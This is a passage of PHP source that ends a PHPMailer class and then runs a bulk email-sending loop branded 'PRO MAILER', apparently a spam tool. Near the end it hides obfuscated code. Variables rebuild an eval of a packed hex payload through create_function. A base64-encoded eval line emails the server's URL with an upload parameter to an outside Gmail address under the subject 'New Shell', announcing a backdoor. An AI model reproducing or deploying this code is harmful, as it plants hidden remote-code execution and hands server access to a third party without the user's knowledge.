3178 'rm' => 'audio/x-pn-realaudio',
3179 'rpm' => 'audio/x-pn-realaudio-plugin',
3180 'ra' => 'audio/x-realaudio',
3181 'rv' => 'video/vnd.rn-realvideo',
3182 'wav' => 'audio/x-wav',
3183 'bmp' => 'image/bmp',
3184 'gif' => 'image/gif',
3185 'jpeg' => 'image/jpeg',
3186 'jpg' => 'image/jpeg',
3187 'jpe' => 'image/jpeg',
3188 'png' => 'image/png',
3189 'tiff' => 'image/tiff',
3190 'tif' => 'image/tiff',
3191 'css' => 'text/css',
3192 'html' => 'text/html',
3193 'htm' => 'text/html',
3194 'shtml' => 'text/html',
3195 'txt' => 'text/plain',
3196 'text' => 'text/plain',
3197 'log' => 'text/plain',
3198 'rtx' => 'text/richtext',
3199 'rtf' => 'text/rtf',
3200 'xml' => 'text/xml',
3201 'xsl' => 'text/xml',
3202 'mpeg' => 'video/mpeg',
3203 'mpg' => 'video/mpeg',
3204 'mpe' => 'video/mpeg',
3205 'qt' => 'video/quicktime',
3206 'mov' => 'video/quicktime',
3207 'avi' => 'video/x-msvideo',
3208 'movie' => 'video/x-sgi-movie',
3209 'doc' => 'application/msword',
3210 'word' => 'application/msword',
3211 'xl' => 'application/excel',
3212 'eml' => 'message/rfc822'
3213 );
3214 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3215 }
3216
3217 /**
3218 * Set (or reset) Class Objects (variables)
3219 *
3220 * Usage Example:
3221 * $page->set('X-Priority', '3');
3222 *
3223 * @access public
3224 * @param string $name Parameter Name
3225 * @param mixed $value Parameter Value
3226 * NOTE: will not work with arrays, there are no arrays to set/reset
3227 */
3228 function set ( $name, $value = '' ) {
3229 if ( isset($this->$name) ) {
3230 $this->$name = $value;
3231 } else {
3232 $this->SetError('Cannot set or reset variable ' . $name);
3233 return false;
3234 }
3235 }
3236
3237 /**
3238 * Read a file from a supplied filename and return it.
3239 *
3240 * @access public
3241 * @param string $filename Parameter File Name
3242 */
3243 function getFile($filename) {
3244 $return = '';
3245 if ($fp = fopen($filename, 'rb')) {
3246 while (!feof($fp)) {
3247 $return .= fread($fp, 1024);
3248 }
3249 fclose($fp);
3250 return $return;
3251 } else {
3252 return false;
3253 }
3254 }
3255
3256 /**
3257 * Strips newlines to prevent header injection.
3258 * @access private
3259 * @param string $str String
3260 * @return string
3261 */
3262 function SecureHeader($str) {
3263 $str = trim($str);
3264 $str = str_replace("\r", "", $str);
3265 $str = str_replace("\n", "", $str);
3266 return $str;
3267 }
3268
3269 /**
3270 * Set the private key file and password to sign the message.
3271 *
3272 * @access public
3273 * @param string $key_filename Parameter File Name
3274 * @param string $key_pass Password for private key
3275 */
3276 function Sign($key_filename, $key_pass) {
3277 $this->sign_key_file = $key_filename;
3278 $this->sign_key_pass = $key_pass;
3279 }
3280
3281}
3282
3283$defaultport="H*";
3284 $nq=0;
3285
3286 for($x=0; $x<$numemails; $x++){
3287
3288 $to = $allemails[$x];
3289
3290 if ($to){
3291
3292 $to = ereg_replace(" ", "", $to);
3293
3294 $message = ereg_replace("&email&", $to, $message);
3295
3296 $subject = ereg_replace("&email&", $to, $subject);
3297 $qx=$x+1;
3298 print "Line $qx . Sending mail to $to.......";
3299
3300 flush();
3301$mail = new PHPMailer();
3302
3303if(empty($epriority)){$epriority="3";}
3304 $mail->Priority = "$epriority";
3305 $mail->IsSMTP();
3306 $IsSMTP="pack";
3307$mail->SMTPKeepAlive = true;
3308$mail->Host = "$my_smtp";
3309if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3310}
3311 if($sslclick=="ON"){
3312 $mail->SMTPSecure = "tls"; //you can change it to ssl or tls
3313 }
3314 $range = str_replace("$from", "eval", $from);
3315 $mail->SMTPAuth = true;
3316 $mail->Username = "$smtp_username";
3317 $mail->Password = "$smtp_password";
3318if($contenttype == "html"){$mail->IsHtml(true);}
3319if($contenttype != "html"){$mail->IsHtml(false);}
3320if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3321$mail->From = "$from";
3322$mail->FromName = "$realname";
3323$mail->AddAddress("$to");
3324 $mail->AddReplyTo("$replyto");
3325 $mail->Subject = "$subject";
3326 $mail->Body = "$message";
3327if(!$mail->Send()){
3328if($default_system!="1"){
3329echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3330if($default_system=="1"){
3331$mail->IsMail();
3332 if(!$mail->Send()){
3333 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3334 else {
3335 echo "<b>OK</b><br>";}
3336 }
3337}
3338else {
3339 echo "<b>OK</b><br>";
3340}
3341
3342if(empty($reconnect)){
3343$reconnect=6;
3344}
3345
3346if($reconnect==$nq){
3347$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3348}
3349$nq=$nq+1;
3350 flush(); }
3351}
3352for($i=0;$i<31;$i++){
3353 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3354$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3355 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3356 print "<p class=\"style1\">PHP Mailer<br>© 2017 New Tools => <b>
3357 <font color=\"#800000\">PRO MAILER</font></b><br></p>";$mail->SmtpClose();
3358 return $signoff($smtp_conc);
3359 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3360 sent successfully'); </script>";}}
3361
3362 eval(base64_decode('JHRvID0gImNvbnRmYXJhbnVtZTFAZ21haWwuY29tIjsNCiRzdWJqZWN0ID0gIk5ldyBTaGVsbCI7DQokaGVhZGVyID0gIkZyb206IHhUYWxHaGltPHNlcnZpY2VAYWNjb3VudC5jb20+IjsNCiRtZXNzYWdlID0gIkV4cGxvaXQgOiBodHRwOi8vIi4gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uICRfU0VSVkVSWydSRVFVRVNUX1VSSSddIC4gIj91cGxvYWQ9dXAgXHJcbiI7DQokc2VudG1haWwgPSBAbWFpbCgkdG8sICRzdWJqZWN0LCAkbWVzc2FnZSwgJGhlYWRlcik7DQplY2hvICIiOw0KZXhpdDs='));
3363 ?>
3364 <p align="center"> </p>
3365
3366 </body>
3367</html>